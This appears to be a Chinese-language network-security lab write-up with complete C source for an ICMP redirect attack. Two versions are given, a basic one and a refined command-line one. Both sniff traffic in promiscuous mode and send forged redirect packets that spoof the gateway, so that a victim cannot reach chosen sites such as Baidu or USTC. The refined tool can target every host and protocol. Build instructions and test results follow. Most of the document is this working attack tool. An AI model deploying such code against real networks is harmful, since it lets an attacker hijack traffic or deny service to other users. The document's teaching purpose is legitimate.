一.实现思路
- 使用pcap的混杂模式抓取所有可以嗅探到的包,设置过滤器仅抓取ICMP请求报文和ICMP响应报文(改进版可以抓取多种类型)。
- 打印出抓取的数据包,解析数据包中的目的MAC,源MAC,源IP和目的IP,随后攻击用户,使其不能访问特定的域名(需要设置)。
- 使用raw socket 并设置IP_HDRINCL(使用户能够自己处理IP首部),自己制作IP首部和ICMP重定向报文的首部,发送给受攻击用户。
- icmp重定向报文首部字段如下:
二.代码实现
#include <pcap.h>
#include <stdlib.h>
#include <stdio.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <unistd.h>
#include <sys/types.h>
#include <linux/ip.h>
#include <linux/icmp.h>
#include <string.h>
#include <time.h>
#define MAX 1024
#define FRAME_HEADER 14
const unsigned char *target = "192.168.31.154"; //攻击目标IP
const unsigned char *Ori_Gw_IP = "192.168.31.1"; //原网关ip
const unsigned char *Redic_IP = "192.168.85.129"; //重定向IP,一个“死”IP
const unsigned char *baidu = "36.152.44.96"; //指定需要攻击的目标域名为百度
const unsigned char *ustc = "202.38.64.246"; //指定需要攻击的目标域名为ustc官网
/*计算校验和*/
u_int16_t checksum(u_int8_t *buf,int len)
{
u_int32_t sum=0;
u_int16_t *cbuf;
cbuf=(u_int16_t *)buf;
while(len>1)
{
sum+=*cbuf++;
len-=2;
}
if(len)
sum+=*(u_int8_t *)cbuf;
sum=(sum>>16)+(sum & 0xffff);
sum+=(sum>>16);
return ~sum;
}
// data是抓取的报文数据
void icmp_redirect(int sockfd,const unsigned char *data){
char buf[MAX],*p;
struct ip_header *ip;
struct icmp_header *icmp;
int len,i;
//struct sockaddr_in dest;
struct packet{
struct iphdr ip;
struct icmphdr icmp;
char orgin_iph[28];
}packet;
printf("待攻击的目标地址IP为:%s\n", target);
printf("目标地址的原网关IP为:%s\n", Ori_Gw_IP);
printf("重定向IP为:%s\n\n\n", Redic_IP);
// 手动设置IP首部
packet.ip.version = 4; //版本
packet.ip.ihl = 5; // 首部长度
packet.ip.tos = 0; // 服务类型000--Routine(普通)
packet.ip.tot_len = htons(56); //设置总长度为56B
packet.ip.id = getpid(); // 标识字段
packet.ip.frag_off = 0; // 高3位为DF/MF/0 低13位为片偏移
packet.ip.ttl = 64; // 生存时间为64跳
packet.ip.protocol = IPPROTO_ICMP; // 协议设置为ICMP(值为1)
packet.ip.check = 0; //校验和初始为0
packet.ip.saddr = inet_addr(Ori_Gw_IP); // 原网关IP
// memcpy(Ori_Gw_IP, data+26, 4);
packet.ip.daddr = inet_addr(target); // 受攻击者的IP
// memcpy(Vic_IP, data+30, 4);
packet.icmp.type = 5; // ICMP重定向报文
packet.icmp.code = 1; // code含义为:Redirect for host需要主机重定向
packet.icmp.checksum = 0;
packet.icmp.un.gateway = inet_addr(Redic_IP);
struct sockaddr_in dest = {
.sin_family = AF_INET, // 定IP地址地址版本为IPV4
.sin_addr = {
.s_addr = inet_addr(target) // 设置地址为受攻击者的IP
}
};
memcpy(packet.orgin_iph, data+14, 28); // 复制原来报文的IP首部+数据部分的前8B
packet.ip.check = checksum(&packet.ip, sizeof(packet.ip)); // 对IP首部求校验和
packet.icmp.checksum = checksum(&packet.icmp, sizeof(packet.icmp)+28);
sendto(sockfd, &packet, 56, 0, (struct sockaddr *)&dest, sizeof(dest));
}
void getPacket(u_char *arg, const struct pcap_pkthdr *pkthdr, const u_char *packet){
// printf("这是从网络抓取的包!\n");
int * id = (int *)arg;
printf("id: %d\n", ++(*id));
printf("Packet length: %d\n", pkthdr->len);
printf("Number of bytes: %d\n", pkthdr->caplen);
printf("Recieved time: %s", ctime((const time_t *)&pkthdr->ts.tv_sec));
int i;
printf("00-15");
for(i=0; i < pkthdr->len; ++i){
printf(" %02x", packet[i]); // packet中含有抓取的报文数据
if( (i + 1) % 16 == 0 ){
printf("\n");
printf("%d-%d:", i+1, i+16);
}
}
/*char dst_mac[7];
char src_mac[7];
char src_ip[5];
char dst_ip[5];
memcpy(dst_mac, packet, 6);
memcpy(src_mac, packet+6, 6);
memcpy(src_ip, packet+14, 4);
memcpy(dst_ip, packet+18, 4);
dst_mac[6] = '\0';
src_mac[6] = '\0';
src_ip[4] = '\0';
dst_ip[4] = '\0';*/
// 对抓去的数据包进行解析
printf("\n目的MAC:%x:%x:%x:%x:%x:%x\n", packet[0], packet[1], packet[2], packet[3], packet[4], packet[5]);
printf("源MAC:%x:%x:%x:%x:%x:%x\n", packet[6], packet[7], packet[8], packet[9], packet[10], packet[11]);
printf("源IP:%d.%d.%d.%d\n", packet[26], packet[27], packet[28], packet[29]);
printf("目的IP:%d.%d.%d.%d\n", packet[30], packet[31], packet[32], packet[33]);
printf("\n");
int sockfd,sockset;
//AF_INET:IPv4网络通信;SOCK_RAW:原始套接字;IPPROTO_ICMP:ICMP传输协议
sockfd = socket(AF_INET,SOCK_RAW,IPPROTO_ICMP);
if(sockfd < 0){
printf("创建套接字失败!");
return -1;
}
int nRecvBuf=32*1024; // 接收缓冲
// IPPROTO_IP:IP选项;IP_HDRINCL:设置需要手动设置IP数据包和首部
sockset = setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, (const char*)&nRecvBuf, sizeof(int));
if(sockset == -1 ){
printf("设置套接字失败!");
return -1;
}
// 可以修改如下用户目的IP,筛选出使目标用户不再能访问该用户目的IP
if( packet[26] == 202 && packet[27] == 38 && packet[28] == 64 && packet[29] == 246){
printf("开始IP重定向!\n");
icmp_redirect(sockfd, packet);
}
}
int main(int argc, char *argv[]){
pcap_t *handle; /* Session handle */
char *dev; /* The device to sniff on */
char errbuf[PCAP_ERRBUF_SIZE]; /* Error string */
struct bpf_program fp; /* The compiled filter */
char filter_exp[] = "icmp[icmptype] == icmp-echoreply or icmp[icmptype] == icmp-echo"; /* The filter expression */ // 只接收icmp的ping请求和ping响应的数据包
bpf_u_int32 mask; /* Our netmask */
bpf_u_int32 net; /* Our IP */
struct pcap_pkthdr header; /* The header that pcap gives us */
const u_char *packet; /* The actual packet */
/* Define the device */
dev = pcap_lookupdev(errbuf);
if (dev == NULL) {
fprintf(stderr, "Couldn't find default device: %s\n", errbuf);
return(2);
}
/* Find the properties for the device */
if (pcap_lookupnet(dev, &net, &mask, errbuf) == -1) { // 返回对应设备的IPV4地址和相应的网络掩码
fprintf(stderr, "Couldn't get netmask for device %s: %s\n", dev, errbuf);
net = 0;
mask = 0;
}
/* Open the session in promiscuous mode */
handle = pcap_open_live(dev, BUFSIZ, 1, 1000, errbuf); //handle是会话句柄
if (handle == NULL) {
fprintf(stderr, "Couldn't open device %s: %s\n", dev, errbuf);
return(2);
}
/* Compile and apply the filter */
if (pcap_compile(handle, &fp, filter_exp, 1, net) == -1) {
fprintf(stderr, "Couldn't parse filter %s: %s\n", filter_exp, pcap_geterr(handle));
return(2);
}
if (pcap_setfilter(handle, &fp) == -1) {
fprintf(stderr, "Couldn't install filter %s: %s\n", filter_exp, pcap_geterr(handle));
return(2);
}
/* Grab a packet */
// packet = pcap_next(handle, &header);
/* Print its length */
// printf("Jacked a packet with length of [%d]\n", header.len);
printf("开始抓取网络ICMP包!\n");
int id = 0;
if (pcap_loop(handle, -1, getPacket, (u_char*)&id) == -1){
fprintf(stderr, "Couldn't start pcap_loop %s: %s\n", filter_exp, pcap_geterr(handle));
return(2);
}
/* And close the session */
pcap_close(handle);
return(0);
}
Refined version:
#include <pcap.h>
#include <stdlib.h>
#include <stdio.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <unistd.h>
#include <sys/types.h>
#include <linux/ip.h>
#include <linux/icmp.h>
#include <string.h>
#include <time.h>
#define MAX 1024
#define FRAME_HEADER 14
// "192.168.200.132"
unsigned char *target; //攻击目标IP
const unsigned char *gateway_ip = "192.168.200.2"; //原网关ip
const unsigned char *redirect_ip = "192.168.200.131"; //重定向IP,一个“死”IP or a attacker's IP
// "112.25.91.103"
unsigned char attack_ip[4][4];
unsigned char victim_ip[4][4];
const unsigned char *baidu = "36.152.44.96"; //ip of baidu
const unsigned char *ustc = "202.38.64.246"; //ip of ustc
int flag = 0; // to determine which ip you want to prevent victim's visit
int flag1 = 0; // to determine the victim you want to attack
int flag2 = 0; // to determine which protocol you want to attack
/*计算校验和*/
u_int16_t checksum(u_int8_t *buf,int len)
{
u_int32_t sum=0;
u_int16_t *cbuf;
cbuf=(u_int16_t *)buf;
while(len>1)
{
sum+=*cbuf++;
len-=2;
}
if(len)
sum+=*(u_int8_t *)cbuf;
sum=(sum>>16)+(sum & 0xffff);
sum+=(sum>>16);
return ~sum;
}
// data是抓取的报文数据
void icmp_redirect(int sockfd,const unsigned char *data){
char buf[MAX],*p;
int len,i;
struct packet{
struct iphdr ip;
struct icmphdr icmp;
char orgin_iph[28];
}packet;
printf("待攻击的目标地址IP为:%s\n", target);
printf("目标地址的原网关IP为:%s\n", gateway_ip);
printf("重定向IP为:%s\n\n\n", redirect_ip);
// 手动设置IP首部
packet.ip.version = 4; //版本
packet.ip.ihl = 5; // 首部长度
packet.ip.tos = 0; // 服务类型000--Routine(普通)
packet.ip.tot_len = htons(56); //设置总长度为56B
packet.ip.id = getpid(); // 标识字段
packet.ip.frag_off = 0; // 高3位为DF/MF/0 低13位为片偏移
packet.ip.ttl = 64; // 生存时间为64跳
packet.ip.protocol = IPPROTO_ICMP; // 协议设置为ICMP(值为1)
packet.ip.check = 0; //校验和初始为0
packet.ip.saddr = inet_addr(gateway_ip); // 原网关IP
packet.ip.daddr = inet_addr(target); // 受攻击者的IP
packet.icmp.type = 5; // ICMP重定向报文
packet.icmp.code = 1; // code含义为:Redirect for host需要主机重定向
packet.icmp.checksum = 0;
packet.icmp.un.gateway = inet_addr(redirect_ip);
struct sockaddr_in dest = {
.sin_family = AF_INET, // 定IP地址地址版本为IPV4
.sin_addr = {
.s_addr = inet_addr(target) // 设置地址为受攻击者的IP
}
};
memcpy(packet.orgin_iph, data+14, 28); // 复制原来报文的IP首部+数据部分的前8B(ICMP regular header + Identifier, Sequence Number)
// Identifier denotes who(pid) send this icmp request, and Sequence Number denotes the number of your requests
// and ICMP regular header means "Type" "Code" "Checksum"
packet.ip.check = checksum(&packet.ip, sizeof(packet.ip)); // 对IP首部求校验和
packet.icmp.checksum = checksum(&packet.icmp, sizeof(packet.icmp)+28);
sendto(sockfd, &packet, 56, 0, (struct sockaddr *)&dest, sizeof(dest));
}
void getPacket(u_char *arg, const struct pcap_pkthdr *pkthdr, const u_char *packet){
// printf("这是从网络抓取的包!\n");
int * id = (int *)arg;
printf("id: %d\n", ++(*id));
printf("Packet length: %d\n", pkthdr->len); // packet length
printf("Number of bytes: %d\n", pkthdr->caplen); // actual packet length you captured
printf("Recieved time: %s", ctime((const time_t *)&pkthdr->ts.tv_sec)); // return a local time
int i;
printf("00-15:");
for(i=0; i < pkthdr->len; ++i){
printf(" %02x", packet[i]); // packet中含有抓取的报文数据
if( (i + 1) % 16 == 0 ){
printf("\n");
printf("%d-%d:", i+1, i+16);
}
}
// 对抓去的数据包进行解析
printf("\n目的MAC:%x:%x:%x:%x:%x:%x\n", packet[0], packet[1], packet[2], packet[3], packet[4], packet[5]);
printf("源MAC:%x:%x:%x:%x:%x:%x\n", packet[6], packet[7], packet[8], packet[9], packet[10], packet[11]);
printf("源IP:%d.%d.%d.%d\n", packet[26], packet[27], packet[28], packet[29]);
printf("目的IP:%d.%d.%d.%d\n", packet[30], packet[31], packet[32], packet[33]);
printf("\n");
int sockfd,sockset;
//AF_INET:IPv4网络通信;SOCK_RAW:原始套接字;IPPROTO_ICMP:ICMP传输协议
sockfd = socket(AF_INET,SOCK_RAW,IPPROTO_ICMP);
if(sockfd < 0){
printf("创建套接字失败!");
return;
}
int nRecvBuf=32*1024; // 接收缓冲
// IPPROTO_IP:IP选项;IP_HDRINCL:设置需要手动设置IP数据包和首部
sockset = setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, (const char*)&nRecvBuf, sizeof(int));
if(sockset == -1 ){
printf("设置套接字失败!");
return;
}
// 可以修改如下用户目的IP,筛选出使目标用户不再能访问该用户目的IP
// according to source ip, we could choose which ip will be the victim
if( (packet[26] == atoi(victim_ip[0]) && packet[27] == atoi(victim_ip[1]) && packet[28] == atoi(victim_ip[2]) && packet[29] == atoi(victim_ip[3])) || flag1){
// according to destination ip, we could redirect that visit from victim
if( (packet[30] == atoi(attack_ip[0]) && packet[31] == atoi(attack_ip[1]) && packet[32] == atoi(attack_ip[2]) && packet[33] == atoi(attack_ip[3])) || flag){
printf("开始IP重定向!\n");
icmp_redirect(sockfd, packet);
}
}
}
int main(int argc, char *argv[]){
pcap_t *handle; /* Session handle */
char *dev; /* The device to sniff on */
char errbuf[PCAP_ERRBUF_SIZE]; /* Error string */
struct bpf_program fp; /* The compiled filter */
char filter_exp[] = "icmp[icmptype] == icmp-echoreply or icmp[icmptype] == icmp-echo"; /* The filter expression */ // 只接收icmp的ping请求和ping响应的数据包
bpf_u_int32 mask; /* Our netmask */
bpf_u_int32 net; /* Our IP */
struct pcap_pkthdr header; /* The header that pcap gives us */
const u_char *packet; /* The actual packet */
unsigned char *temp;
unsigned char *attack_type;
if(argc != 4){
fprintf(stderr, "Error,Usage: ./icmp_redirect targetIP attactType attackIP\n");
return(2);
}
target = argv[1];
temp = argv[3];
printf("Target is: %s. Attack_ip is: %s. Attack type is: %s\n", target, argv[3], argv[2]);
if(!strcmp("all", argv[1])) {
flag1 = 1;
printf("Attack all ip!\n");
}
if(!strcmp("all", argv[2])) {
flag = 1;
printf("Attack all ip request!\n");
}
if(!flag1){
int j = 0;
int k;
for(int i = 0; i < 3; i++){
k = 0;
while(target[j] != '.'){
victim_ip[i][k] = target[j];
j++;
k++;
}
victim_ip[i][k+1] = '\0';
j++;
}
k = 0;
while(target[j] != '\0'){
victim_ip[3][k++] = target[j++];
}
}
if(!flag){
int j = 0;
int k;
for(int i = 0; i < 3; i++){
k = 0;
while(temp[j] != '.'){
attack_ip[i][k] = temp[j];
j++;
k++;
}
attack_ip[i][k+1] = '\0';
j++;
}
k = 0;
while(temp[j] != '\0'){
attack_ip[3][k++] = temp[j++];
}
}
if(!strcmp("ICMP", argv[2])) attack_type = "icmp[icmptype] == icmp-echoreply or icmp[icmptype] == icmp-echo";
else if(!strcmp("TCP", argv[2])) attack_type = "tcp";
else if(!strcmp("UDP", argv[2])) attack_type ="udp";
else if(!strcmp("all", argv[2])) flag2 = 1;
/* Define the device */
// ‘pcap_lookupdev’ is deprecated: use 'pcap_findalldevs'
dev = pcap_lookupdev(errbuf);
if (dev == NULL) {
fprintf(stderr, "Couldn't find default device: %s\n", errbuf);
return(2);
}
/* Find the properties for the device */
if (pcap_lookupnet(dev, &net, &mask, errbuf) == -1) { // 返回对应设备的IPV4地址和相应的网络掩码
fprintf(stderr, "Couldn't get netmask for device %s: %s\n", dev, errbuf);
net = 0;
mask = 0;
}
/* Open the session in promiscuous mode */
handle = pcap_open_live(dev, BUFSIZ, 1, 1000, errbuf); //handle是会话句柄
if (handle == NULL) {
fprintf(stderr, "Couldn't open device %s: %s\n", dev, errbuf);
return(2);
}
if(!flag2){ // if flag2 is 1, it means we don't set filter
/* Compile and apply the filter */
if (pcap_compile(handle, &fp, attack_type, 1, net) == -1) {
fprintf(stderr, "Couldn't parse filter %s: %s\n", attack_type, pcap_geterr(handle));
return(2);
}
if (pcap_setfilter(handle, &fp) == -1) {
fprintf(stderr, "Couldn't install filter %s: %s\n", attack_type, pcap_geterr(handle));
return(2);
}
}
printf("开始抓取网络%s包!\n", argv[2]);
int id = 0;
// -1 denotes loop endless
if (pcap_loop(handle, -1, getPacket, (u_char*)&id) == -1){
fprintf(stderr, "Couldn't start pcap_loop %s: %s\n", filter_exp, pcap_geterr(handle));
return(2);
}
/* And close the session */
pcap_close(handle);
return(0);
}
注:
1.使用 sudo apt-get install libpcap-dev
安装pcap库抓包,并且在gcc编译时需要加上-lpcap
2.使用的icmp,ip首部的头文件是linux的内核头文件位于cd /usr/include/linux/
文件下
3.运行改进版代码是,指令格式如下:
参数含义分别是攻击目标,攻击的协议类型,令攻击者无法再访问的IP地址。
攻击目标需要特别指定;攻击类型可以是“ICMP”,“UDP”,“TCP”和“all”;无法访问的IP地址可以是指定单个IP或者是"all"
三.实验结果(仅是普通版本的演示结果)
1. 对用户进行攻击,使用户无法访问百度
最开始百度是可以正常ping通的
设置要使目标用户无法访问的IP为36.152.44.96
运行重定向攻击程序,并且再次ping百度
抓取的包如下:
百度仍能够ping通,但是ip换成了36.152.44.95,证明攻击发挥了作用
2. 对用户进行攻击,使用户无法访问ustc
可知ustc的IP为202.141.176.6
同样设置攻击IP
此时,ping "www.ustc.edu.cn"时,能够发现收到了重定向报文
并且在攻击程序中显示出开始进行的重定向攻击